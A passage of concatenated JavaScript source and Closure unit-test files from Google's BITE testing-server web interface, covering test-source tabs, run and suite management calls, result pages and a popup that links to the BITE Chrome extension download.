// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the details page's tests tab. * * @author phu@google.com (Po Hu) */ goog.provide('bite.server.set.Tests'); goog.require('bite.server.Helper'); goog.require('bite.server.set.Tab'); goog.require('bite.server.TestSrcHelper'); goog.require('bite.server.templates.details'); goog.require('goog.dom'); goog.require('goog.net.XhrIo'); /** * A class for set runs functions. * @param {function():Object} getInfoFunc The getter for set's info. * @extends {bite.server.set.Tab} * @constructor * @export */ bite.server.set.Tests = function(getInfoFunc) { /** * To get the selected item's info. * @type {function():Object} * @private */ this.getInfoFunc_ = getInfoFunc; /** * The tests source depot. * @type {string} */ this.loadFrom = ''; var loadTestsFunc = goog.bind(this.loadTestsFromBackend, this); /** * The current selected helper. * @type {bite.server.TestSrcHelper} * @private */ this.selectedHelper_ = new bite.server.TestSrcHelper(loadTestsFunc); /** * The helpers map object. * @type {Object} * @private */ this.helperMap_ = { '': new bite.server.TestSrcHelper(loadTestsFunc) }; }; goog.inherits(bite.server.set.Tests, bite.server.set.Tab); /** * Inits the setting's overview page. * @param {Element} tabDetailsDiv The tab details div. * @export */ bite.server.set.Tests.prototype.init = function(tabDetailsDiv) { tabDetailsDiv.innerHTML = bite.server.templates.details.showTabTests({}); bite.server.Helper.addListenersToElems( [goog.dom.getElement('acc')], goog.bind(this.handleSrcSelection, this)); this.loadSetting(); }; /** * Handles selecting a tests source. * @param {Event} event The event object. * @export */ bite.server.set.Tests.prototype.handleSrcSelection = function(event) { this.loadTestsFrom(event.target.id); }; /** * Saves the previous page settings. * @export */ bite.server.set.Tests.prototype.saveSetting = function() { this.selectedHelper_.saveFields(); }; /** * Loads the page's tests settings. * @export */ bite.server.set.Tests.prototype.loadSetting = function() { if (this.loadFrom) { goog.dom.getElement(this.loadFrom).checked = true; this.loadTestsFrom(this.loadFrom); } else { this.clearTestSrcButtons(); this.clearSetTestsPage(); } }; /** * Clears the set tests page. * @export */ bite.server.set.Tests.prototype.clearSetTestsPage = function() { goog.dom.getElement('loadTestsFromDiv').innerHTML = ''; goog.dom.getElement('showTestsDiv').innerHTML = ''; }; /** * Clears the test sources radio buttons. * @export */ bite.server.set.Tests.prototype.clearTestSrcButtons = function() { var buttons = goog.dom.getDocument().getElementsByName('testsSrc'); for (var i = 0, len = buttons.length; i < len; i++) { buttons[i].checked = false; } }; /** * Sets the default properties. * @param {Object} params The parameter map. * @export */ bite.server.set.Tests.prototype.setProperties = function(params) { this.loadFrom = params['testSource']; this.selectedHelper_ = this.helperMap_[this.loadFrom]; this.selectedHelper_.setFields(params); }; /** * Loads tests from a the given source. * @param {string} requestUrl The request url. * @param {string} parameters The parameter string. * @export */ bite.server.set.Tests.prototype.loadTestsFromBackend = function( requestUrl, parameters) { var that = this; goog.net.XhrIo.send(requestUrl, function() { if (this.isSuccess()) { var tests = null; var tests_obj = this.getResponseJson(); if (tests_obj) { var loadSrcDiv = goog.dom.getElement('showTestsDiv'); loadSrcDiv.innerHTML = bite.server.templates.details.showTestList( tests_obj); } } else { throw new Error('Failed to get the tests. Error status: ' + this.getStatus()); } }, 'POST', parameters); }; /** * Loads tests from a source and displays the UI. * @param {string} src The source depot. * @export */ bite.server.set.Tests.prototype.loadTestsFrom = function(src) { this.selectedHelper_ = this.helperMap_[src]; this.loadFrom = src; this.clearSetTestsPage(); var loadSrcDiv = goog.dom.getElement('loadTestsFromDiv'); this.selectedHelper_.showQueryFields(loadSrcDiv); }; /** * Adds the properties to the given map. * @param {Object} params The parameter map. * @export */ bite.server.set.Tests.prototype.addProperties = function(params) { params['testSource'] = this.loadFrom; for (var testSrc in this.helperMap_) { this.helperMap_[testSrc].addProperties(params); } };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for the overview tab in explore page. * * @author phu@google.com (Po Hu) */ goog.require('bite.server.explore.SetTab'); goog.require('goog.dom'); goog.require('goog.json'); goog.require('goog.net.XhrIo'); goog.require('goog.testing.MockControl'); goog.require('goog.testing.PropertyReplacer'); goog.require('goog.testing.asserts'); goog.require('goog.testing.mockmatchers'); goog.require('goog.testing.net.XhrIo'); var stubs_ = new goog.testing.PropertyReplacer(); var mockControl_ = null; function setUp() { mockControl_ = new goog.testing.MockControl(); stubs_.replace(goog.net.XhrIo, 'send', goog.testing.net.XhrIo.send); } function tearDown() { mockControl_.$tearDown(); mockControl_ = null; goog.testing.net.XhrIo.sendInstances_ = []; stubs_.reset(); } function testHandleUserOperation() { var event = {'target': {'id': 'start'}}; var view = new bite.server.explore.SetTab(); view.handleUserOperation(event); var sendInstance = goog.testing.net.XhrIo.getSendInstances()[0]; var sentUri = sendInstance.getLastUri(); assertEquals('/run/add', sentUri); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains some end-to-end tests for * adding suites, runs and fetching jobs. * * @author phu@google.com (Po Hu) */ goog.require('goog.dom'); /** * The global test list to be generated. * @type {Array} * @export */ var testList = []; /** * Automatically generate tests. * @param {boolean} isRandom Whether needs random number ids. * @export */ function autoGenerateTests(isRandom) { var numStr = document.getElementById('numOfTests').value; var num = parseInt(numStr, 10); testList = []; var value = 0; for (var i = 0; i < num; ++i) { if (isRandom) { value = generateTest(); } else { value = 'Test_' + i; } var automated = true; if (i % 3 == 0) { automated = false; } var tempDict = {'id': value, 'name': value, 'automated': automated}; testList.push(tempDict); } var confirmDiv = document.getElementById('confirmDiv'); confirmDiv.innerHTML = testList.length + ' tests were created.'; } /** * Gets a random number. * @return {number} The random number. * @export */ function getRandomString() { return Math.floor(Math.random() * 9999999 + ''); } /** * Generates a test. * @return {string} The test name. * @export */ function generateTest() { var test = {}; var testName = 'Test_' + getRandomString(); return testName; } /** * Loads all the suites of a project. * @export */ function loadSuitesOfProject() { var http = new XMLHttpRequest(); var url = '/suite/load_project'; var projectName = document.getElementById('projectName2').value; var params = 'projectName=' + escape(projectName); http.open('POST', url, true); http.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded'); http.onreadystatechange = function() { if (http.readyState == 4 && http.status == 200) { alert(http.responseText); var result = JSON.parse(http.responseText); var suites = result['suites']; var select = document.getElementById('selectSuites'); select.innerHTML = ''; for (var i = 0; i < suites.length; i++) { var opt = document.createElement('option'); opt.text = suites[i]['name']; opt.value = suites[i]['key']; select.add(opt, null); } } } http.send(params); } /** * Starts a run for a suite. * @export */ function runSuite() { var http = new XMLHttpRequest(); var url = '/run/add'; var key = document.getElementById('selectSuites').value; //alert(key); var params = 'suiteKey=' + key; http.open('POST', url, true); http.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded'); http.onreadystatechange = function() { if (http.readyState == 4 && http.status == 200) { alert(http.responseText); } } http.send(params); } /** * Checks all the scheduled suites. * @export */ function checkScheduledSuite() { var http = new XMLHttpRequest(); var url = '/suite/check_scheduled_jobs'; var params = 'test=true'; http.open('POST', url, true); http.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded'); http.onreadystatechange = function() { if (http.readyState == 4 && http.status == 200) { alert(http.responseText); } } http.send(params); } /** * Schedules a suite to run automatically. * @export */ function scheduleSuite() { var http = new XMLHttpRequest(); var url = '/suite/schedule_job'; var key = document.getElementById('selectSuites').value; var interval = document.getElementById('intervalInMin').value; var paramsArr = ['suiteKey=' + escape(key), 'interval=' + interval]; var params = paramsArr.join('&'); http.open('POST', url, true); http.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded'); http.onreadystatechange = function() { if (http.readyState == 4 && http.status == 200) { alert(http.responseText); } } http.send(params); } /** * Shows all the runs of a suite. * @export */ function showRuns() { var http = new XMLHttpRequest(); var url = '/run/get_runs'; var key = document.getElementById('selectSuites').value; var params = 'suiteKey=' + key; http.open('POST', url, true); http.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded'); http.onreadystatechange = function() { if (http.readyState == 4 && http.status == 200) { alert(http.responseText); var result = JSON.parse(http.responseText); var runs = result['runs']; var select = document.getElementById('selectRuns'); select.innerHTML = ''; for (var i = 0; i < runs.length; i++) { var opt = document.createElement('option'); opt.text = runs[i]['name']; opt.value = runs[i]['key']; select.add(opt, null); } } } http.send(params); } /** * Deletes a run. * @export */ function deleteRun() { var http = new XMLHttpRequest(); var url = '/run/delete'; var key = document.getElementById('selectRuns').value; var params = 'runKey=' + key; http.open('POST', url, true); http.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded'); http.onreadystatechange = function() { if (http.readyState == 4 && http.status == 200) { alert(http.responseText); } } http.send(params); } /** * The ids that were fetched from server. * @type {Array} * @export */ var fetchedIds = []; /** * Shows the test ids. * @export */ function showTestIds() { fetchedIds.sort(); alert(fetchedIds); } /** * Fetches random jobs from server. * @export */ function fetchJobs() { fetchedIds = []; var number = document.getElementById('numOfResults').value; number = parseInt(number, 10); for (var i = 0; i < number; i++) { fetchJob(i); } } /** * Fetches a job from server. * @param {number} index The index of the job. * @export */ function fetchJob(index) { var http = new XMLHttpRequest(); var url = '/result/fetch'; var tokens = document.getElementById('tokens').value; var params = 'tokens=' + tokens; http.open('POST', url, true); http.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded'); http.onreadystatechange = function() { if (http.readyState == 4 && http.status == 200) { if (!http.responseText) { console.log('Result ' + index + ': No more results.'); return; } var http2 = new XMLHttpRequest(); var url = '/result/update'; var status = 'passed'; if (Math.random() < 0.4) { status = 'failed'; } var log = JSON.stringify({'projectName': 'p1', 'testLocation': 'web', 'testName': 't1'}); var params = 'result=' + http.responseText + '&status=' + status + '&log=' + log; http2.open('POST', url, true); http2.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded'); http2.onreadystatechange = function() { if (http2.readyState == 4 && http2.status == 200) { console.log('Result ' + index + ':' + http2.responseText); var id = parseInt(http2.responseText.split('_')[1], 10); fetchedIds.push(id); } } http2.send(params); } } http.send(params); } /** * Adds the suite with tests to server. * @export */ function addSuiteAndTests() { var http = new XMLHttpRequest(); var url = '/suite/add'; var suiteName = document.getElementById('suiteName').value; var projectName = document.getElementById('projectName').value; var description = document.getElementById('description').value; var tokens = document.getElementById('suiteTokens').value; var interval = document.getElementById('suiteInterval').value; var testInfo = JSON.stringify({'testInfoList': testList}); var paramsArr = ['suiteName=' + escape(suiteName), 'projectName=' + escape(projectName), 'description=' + escape(description), 'tokens=' + escape(tokens), 'interval=' + escape(interval), 'testInfo=' + testInfo]; var params = paramsArr.join('&'); http.open('POST', url, true); http.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded'); http.onreadystatechange = function() { if (http.readyState == 4 && http.status == 200) { alert(http.responseText); } } http.send(params); } /** * Shows the number of suites. * @param {string} status The result's status. * @export */ function showNumOfSuite(status) { var http = new XMLHttpRequest(); var url = '/run/get_num'; var key = document.getElementById('selectRuns').value; var paramsArr = ['runKey=' + key, 'status=' + status]; var params = paramsArr.join('&'); http.open('POST', url, true); http.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded'); http.onreadystatechange = function() { if (http.readyState == 4 && http.status == 200) { alert(http.responseText); } } http.send(params); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * The expected ID of the install BITE link. */ var BITE_BUTTON_ID = 'bite-install-link'; /** * Simplified implementation of goog.bind * * @param {Function} func The function to bind. * @param {Object} inst The class instance to bind the function to. * @param {Array} args Additional arguments to pass to the function. * @return {Function} The function bound to the specified instance. */ function biteFuncBind(func, inst, args) { return function() { return func.apply(inst, Array.prototype.slice.call(arguments, 2)); }; } /** * Bug Details Popup class constructor. * @param {string} id The id of the element to tag the BITE popup to. * @constructor * @export */ function bitePopup(id) { /** * The id of the element this popup will appear beneath. * @type {string} * @private */ this.parentElementId_ = id; // Only load the popup if the browser is chrome. var is_chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1; if (is_chrome) { // Attach the initial listeners to the parent element for this popup. var parentLink = document.getElementById(id); parentLink.addEventListener('mouseover', biteFuncBind(this.create, this), [true, false]); parentLink.addEventListener('mouseout', biteFuncBind(this.remove, this), [true, false]); } } /** * The x offset of the popup from it's parent element. * @type {number} * @private */ bitePopup.OFFSET_X_ = -205; /** * The y offset of the popup from it's parent element. * @type {number} * @private */ bitePopup.OFFSET_Y_ = 26; /** * A flag to remove the popup. * @type {boolean} * @private */ bitePopup.prototype.removeFlag_ = false; /** * The amount of time (in ms) the popup will stay up after the user leaves it. * @type {number} * @private */ bitePopup.BITE_POPUP_DURATION_MS_ = 250; /** * The id of the BITE popup container. * @type {string} * @export */ bitePopup.BITE_POPUP_CONTAINER_ID = 'bite-download-popup-container'; /** * Finds the position of an element by using the accumulated offset position * of the element and it's ancestors. * @param {!Element} element The HTML element to find the position of. * @return {!{x: number, y: number}} The x, y coordinates of the element. * @private */ bitePopup.findPosition_ = function(element) { var elementLeft = element.offsetLeft; var elementTop = element.offsetTop; if (element.offsetParent) { while (element = element.offsetParent) { elementLeft += element.offsetLeft; elementTop += element.offsetTop; } } return {x: elementLeft, y: elementTop}; }; /** * Creates the popup underneath the "parent" element. * @export */ bitePopup.prototype.create = function() { this.removeFlag_ = false; // Don't create a duplicate popup if one already exists. if (this.isOpen_()) { return; } // Retrieve the parent element to append the popup to. var parent = document.getElementById(this.parentElementId_); if (!parent) { console.error('Unable to find the specified parent element provided: ' + this.parentElementId_); return; } // Retrieve the position of the parent element, and computes the position // of the popup. //TODO(bustamante): Handle cases when this doesn't appear in the viewport. var parentPosition = bitePopup.findPosition_(parent); var popupLeft = parentPosition['x'] + bitePopup.OFFSET_X_; var popupTop = parentPosition['y'] + bitePopup.OFFSET_Y_; // Create the popup container. var popup = document.createElement('div'); popup.setAttribute('id', bitePopup.BITE_POPUP_CONTAINER_ID); popup.setAttribute('style', 'position:absolute; top:' + popupTop + 'px; ' + 'left: ' + popupLeft + 'px; width: 355px; ' + 'height: 130px; background-color: #fff; ' + 'border: 1px solid rgba(0,0,0,0.2); ' + '-webkit-border-radius: 2px; ' + '-moz-border-radius: 2px; ' + 'border-radius: 2px; ' + 'box-shadow: 0 2px 4px rgba(0,0,0,0.2); ' + '-moz-box-shadow: 0 2px 4px rgba(0,0,0,0.2); ' + '-webkit-box-shadow: 0 2px 4px rgba(0,0,0,0.2); ' + 'z-index: 999999;'); // Create the logo and append it to the popup container. var logo = document.createElement('img'); logo.setAttribute('style', 'position: absolute; top: 10px; left: 10px; ' + 'width:150px; height: 80px'); logo.setAttribute('src', 'https://YOUR_SERVER/imgs/' + 'bite_logo_google.png'); popup.appendChild(logo); // Create the BITE title and append it to the popup container. var title = document.createElement('span'); title.setAttribute('style', 'position: absolute; left: 180px; top: 10px; ' + 'font-weight: BOLD; font-family: arial; ' + 'font-size: 13px;'); title.innerHTML = 'File your bugs with BITE'; popup.appendChild(title); // Create a bullet point and append it to the popup container. var simplifyBullet = document.createElement('span'); simplifyBullet.setAttribute('style', 'position: absolute; left: 185px; ' + 'top: 35px; font-family: arial; ' + 'font-size: 13px;'); simplifyBullet.innerHTML = '<li>Simplifies Bug Filing</li>'; popup.appendChild(simplifyBullet); // Create another bullet point and append it to the popup container. var attachesBullet = document.createElement('span'); attachesBullet.setAttribute('style', 'position: absolute; left: 185px; ' + 'top: 52px; font-family: arial; ' + 'font-size: 13px;'); attachesBullet.innerHTML = '<li>Attaches Debug Data</li>'; popup.appendChild(attachesBullet); // Create a final bullet point and append it to the popup container. var learnMoreBullet = document.createElement('span'); learnMoreBullet.setAttribute('style', 'position: absolute; left: 185px; ' + 'top: 69px; font-family: arial; ' + 'font-size: 13px;'); learnMoreBullet.innerHTML = '<li>Learn more at <a style="color: #22A" ' + 'href="" target="_blank">' + 'go/bite</a></li>'; popup.appendChild(learnMoreBullet); // Create a download link and append it to the popup container. var downloadLink = document.createElement('a'); downloadLink.setAttribute('href', 'http://YOUR_SERVER/' + 'get_latest_extension'); downloadLink.setAttribute('style', 'position: absolute; top: 104px; ' + 'left: 40px; color: #22A; font-family: ' + 'arial; font-size: 11px; ' + 'cursor:pointer'); downloadLink.setAttribute('target', '_blank'); downloadLink.innerHTML = 'Download and Install the BITE chrome extension'; downloadLink.addEventListener('click', biteFuncBind(this.remove, this), false); popup.appendChild(downloadLink); // Create the arrow effect at the top of the top this is done in two phases, // with this being the base var arrowBase = document.createElement('div'); arrowBase.setAttribute('style', 'position: absolute; top: -20px; ' + 'left: 260px; width: 0; height: 0; ' + 'border-width: 10px; border-style: solid; ' + 'border-color: transparent transparent ' + 'rgba(0,0,0,0.2) transparent'); popup.appendChild(arrowBase); // Create the white area of the arrow to overlay on top of the base. var arrow = document.createElement('div'); arrow.setAttribute('style', 'position: absolute; top: -18px; left: 260px; ' + 'width: 0; height: 0; border-width: 10px; ' + 'border-style: solid; border-color: ' + 'transparent transparent #fff transparent'); popup.appendChild(arrow); // Add the event listeners for mouse-in and mouse-out. popup.addEventListener('mouseover', biteFuncBind(this.create, this), false); popup.addEventListener('mouseout', biteFuncBind(this.remove, this), false); // Finally attach the popup to the document body, not the "parent" element // itself as that can result in the popup being clipped and not displaying // properly. document.body.appendChild(popup); }; /** * Determines whether the popup exists by doing a getElementById. * @return {boolean} Whether the popup exists or not. * @private */ bitePopup.prototype.isOpen_ = function() { var popup = document.getElementById(bitePopup.BITE_POPUP_CONTAINER_ID); return !!popup; }; /** * Flags the popup for removal and kicks off a thread to conditionally * destroy it. * @export */ bitePopup.prototype.remove = function() { this.removeFlag_ = true; setTimeout(biteFuncBind(this.destroyPopupIfFlagged_, this), bitePopup.BITE_POPUP_DURATION_MS_); }; /** * Destroys the BITE popup if it's flagged for removal. * @private */ bitePopup.prototype.destroyPopupIfFlagged_ = function() { if (this.removeFlag_) { this.destroy_(); } }; /** * Destroys the BITE popup. * @private */ bitePopup.prototype.destroy_ = function() { var popup = document.getElementById(bitePopup.BITE_POPUP_CONTAINER_ID); if (popup) { popup.parentNode.removeChild(popup); } }; // Create an instance of the BITE popup. var popupInstance = new bitePopup(BITE_BUTTON_ID);
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for the layout class. * * @author phu@google.com (Po Hu) */ goog.require('bite.server.LayoutHelper'); goog.require('goog.dom'); goog.require('goog.json'); goog.require('goog.net.XhrIo'); goog.require('goog.testing.MockControl'); goog.require('goog.testing.PropertyReplacer'); goog.require('goog.testing.asserts'); goog.require('goog.testing.mockmatchers'); goog.require('goog.testing.net.XhrIo'); var stubs_ = new goog.testing.PropertyReplacer(); var mockControl_ = null; function setUp() { mockControl_ = new goog.testing.MockControl(); stubs_.replace(goog.net.XhrIo, 'send', goog.testing.net.XhrIo.send); } function tearDown() { mockControl_.$tearDown(); mockControl_ = null; goog.testing.net.XhrIo.sendInstances_ = []; stubs_.reset(); } function testHandleLeftNavChanges() { var id = 'leftnav-abc'; var mockCallbackOnSelectFunc = mockControl_.createFunctionMock(); mockCallbackOnSelectFunc().$returns(); var mockCallbackOnActionFunc = mockControl_.createFunctionMock(); mockCallbackOnActionFunc().$returns(); var elem = goog.dom.createDom('div', {'id': id, 'class': 'leftnav-item'}); goog.dom.appendChild(goog.dom.getDocument().body, elem); var layoutHelper = new bite.server.LayoutHelper(); layoutHelper.handleLeftNavChanges( id, [], mockCallbackOnSelectFunc, mockCallbackOnActionFunc); var sendInstance = goog.testing.net.XhrIo.getSendInstances()[0]; var sentUri = sendInstance.getLastUri(); assertEquals('', sentUri); } function testSelectArtifact() { var target = goog.dom.createDom('input', {'id': 'abc_def', 'name': '123'}); var target2 = goog.dom.createDom('div', {'id': 'abc_defmore', 'name': '123'}); goog.dom.appendChild(goog.dom.getDocument().body, target2); var event = {'currentTarget': target}; var callback = mockControl_.createFunctionMock(); callback('123', 'def', '').$returns(); mockControl_.$replayAll(); var helper = new bite.server.LayoutHelper(); helper.selectArtifact(callback, event); assertObjectEquals(helper.selectedArtifact_, target); mockControl_.$verifyAll(); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for the overview tab in run's page. * * @author phu@google.com (Po Hu) */ goog.require('bite.server.run.Overview'); goog.require('goog.json'); goog.require('goog.testing.MockControl'); goog.require('goog.testing.PropertyReplacer'); goog.require('goog.testing.asserts'); goog.require('goog.testing.mockmatchers'); var stubs_ = new goog.testing.PropertyReplacer(); var mockControl_ = null; function setUp() { mockControl_ = new goog.testing.MockControl(); } function tearDown() { mockControl_.$tearDown(); mockControl_ = null; stubs_.reset(); } function testSetProperties() { } function testAddProperties() { }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the overview tab class in explore page. * * @author phu@google.com (Po Hu) */ goog.provide('bite.server.explore.OverviewTab'); goog.require('bite.server.Constants'); goog.require('bite.server.Helper'); goog.require('bite.server.explore.Tab'); goog.require('bite.server.templates.explore'); goog.require('goog.Uri'); goog.require('goog.dom'); goog.require('goog.net.XhrIo'); /** * A class for the overview tab in explore page. * @param {function()} getDataFunc The function to get data. * @extends {bite.server.explore.Tab} * @constructor * @export */ bite.server.explore.OverviewTab = function(getDataFunc) { goog.base(this, getDataFunc); /** * The function to get data. * @type {function()} * @protected */ this.getDataFunc = getDataFunc; }; goog.inherits(bite.server.explore.OverviewTab, bite.server.explore.Tab); /** * Inits the UI. * @export */ bite.server.explore.OverviewTab.prototype.init = function() { goog.base(this, 'init'); }; /** * Sets up the left navigations. * @export */ bite.server.explore.OverviewTab.prototype.setUpLeftNavs = function() { this.showLeftNavs( this.getDataFunc(), goog.bind(this.onArtifactSelected, this), goog.bind(this.handleUserOperation, this)); }; /** * Callback funtion when an artifact was selected. * @param {string} name The selected item name. * @param {string} id The selected item id. * @param {string} artType The selected item type. * @export */ bite.server.explore.OverviewTab.prototype.onArtifactSelected = function( name, id, artType) { this.setArtifactValues(name, id, artType); }; /** * Handles the operation triggered by user. * @param {Event} event The event object. * @export */ bite.server.explore.OverviewTab.prototype.handleUserOperation = function( event) { var operationValue = event.target.id; var page = ''; var keyType = ''; switch (this.lastSelectedArtType) { case 'project': page = 'project_details'; keyType = 'projectKey'; break; case 'set': page = 'set_details'; keyType = 'suiteKey'; break; case 'run': page = 'run_details'; keyType = 'runKey'; break; case 'runTemplate': page = 'run_details'; keyType = 'runTemplateKey'; break; default: page = 'notSupported'; } var keyValue = this.lastSelectedKey; var paramsBag = {}; paramsBag['page'] = page; paramsBag[keyType] = keyValue; if (operationValue == 'viewDetails') { goog.global.window.open(bite.server.Helper.getUrlHash( '', '/home', paramsBag)); } };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview This file contains the Result page class. * * @author phu@google.com (Po Hu) */ goog.provide('bite.server.Result'); goog.require('bite.server.Constants'); goog.require('bite.server.LayoutHelper'); goog.require('bite.server.Page'); goog.require('bite.server.Helper'); goog.require('bite.server.run.Overview'); goog.require('bite.server.run.Settings'); goog.require('bite.server.run.Results'); goog.require('bite.server.set.Tab'); goog.require('bite.server.templates.details.ResultPage'); goog.require('goog.Uri'); goog.require('goog.dom'); goog.require('goog.events'); goog.require('goog.net.XhrIo'); goog.require('goog.ui.CustomButton'); /** * A class for result's details page. * @extends {bite.server.Page} * @constructor * @export */ bite.server.Result = function() { }; goog.inherits(bite.server.Result, bite.server.Page); /** * Inits the result page. * @param {Object} paramsMap The params map of the url hash. */ bite.server.Result.prototype.init = function(paramsMap) { var baseHeader = goog.dom.getElement('baseHeader'); baseHeader.innerHTML = bite.server.templates.details.ResultPage.showHeader(); var baseView = goog.dom.getElement('baseView'); baseView.innerHTML = bite.server.templates.details.ResultPage.showBodyArea(); this.parseParams_(paramsMap); }; /** * Parses the given params and perform accordingly. * @param {Object} paramsMap The params map. * @private */ bite.server.Result.prototype.parseParams_ = function(paramsMap) { var resultKey = paramsMap.get('resultKey') || ''; if (resultKey) { this.loadResultFromServer_(resultKey); } }; /** * Loads the result info from server. * @param {string} resultKey The result's key string. * @private */ bite.server.Result.prototype.loadResultFromServer_ = function(resultKey) { var requestUrl = bite.server.Helper.getUrl( '', '/result/view', {}); var parameters = goog.Uri.QueryData.createFromMap( {'resultKey': resultKey}).toString(); goog.net.XhrIo.send(requestUrl, goog.bind(function(e) { var xhr = e.target; if (xhr.isSuccess()) { var result = xhr.getResponseJson(); goog.dom.getElement('resultScreenshot').src = result['screenshot']; } else { throw new Error('Failed to get the Run template: ' + xhr.getStatus()); } }, this), 'POST', parameters); };
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for the explore tab base page. * * @author phu@google.com (Po Hu) */ goog.require('bite.server.explore.Tab'); goog.require('goog.dom'); goog.require('goog.json'); goog.require('goog.net.XhrIo'); goog.require('goog.testing.MockControl'); goog.require('goog.testing.PropertyReplacer'); goog.require('goog.testing.asserts'); goog.require('goog.testing.mockmatchers'); goog.require('goog.testing.net.XhrIo'); var stubs_ = new goog.testing.PropertyReplacer(); var mockControl_ = null; function setUp() { mockControl_ = new goog.testing.MockControl(); stubs_.replace(goog.net.XhrIo, 'send', goog.testing.net.XhrIo.send); } function tearDown() { mockControl_.$tearDown(); mockControl_ = null; goog.testing.net.XhrIo.sendInstances_ = []; stubs_.reset(); } function testGetDetailsInfo() { var runKeyStr = 'abc'; var view = new bite.server.explore.Tab(); view.getDetailsInfo(runKeyStr); var sendInstance = goog.testing.net.XhrIo.getSendInstances()[0]; var sentUri = sendInstance.getLastUri(); assertEquals('/run/get_details', sentUri); }
JavaScript
// Copyright 2011 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. /** * @fileoverview Unit tests for the results tab in Run's details page. * * @author phu@google.com (Po Hu) */ goog.require('bite.server.run.Results'); goog.require('goog.dom'); goog.require('goog.json'); goog.require('goog.net.XhrIo'); goog.require('goog.testing.MockControl'); goog.require('goog.testing.PropertyReplacer'); goog.require('goog.testing.asserts'); goog.require('goog.testing.mockmatchers'); goog.require('goog.testing.net.XhrIo'); var stubs_ = new goog.testing.PropertyReplacer(); var mockControl_ = null; function setUp() { mockControl_ = new goog.testing.MockControl(); stubs_.replace(goog.net.XhrIo, 'send', goog.testing.net.XhrIo.send); } function tearDown() { mockControl_.$tearDown(); mockControl_ = null; 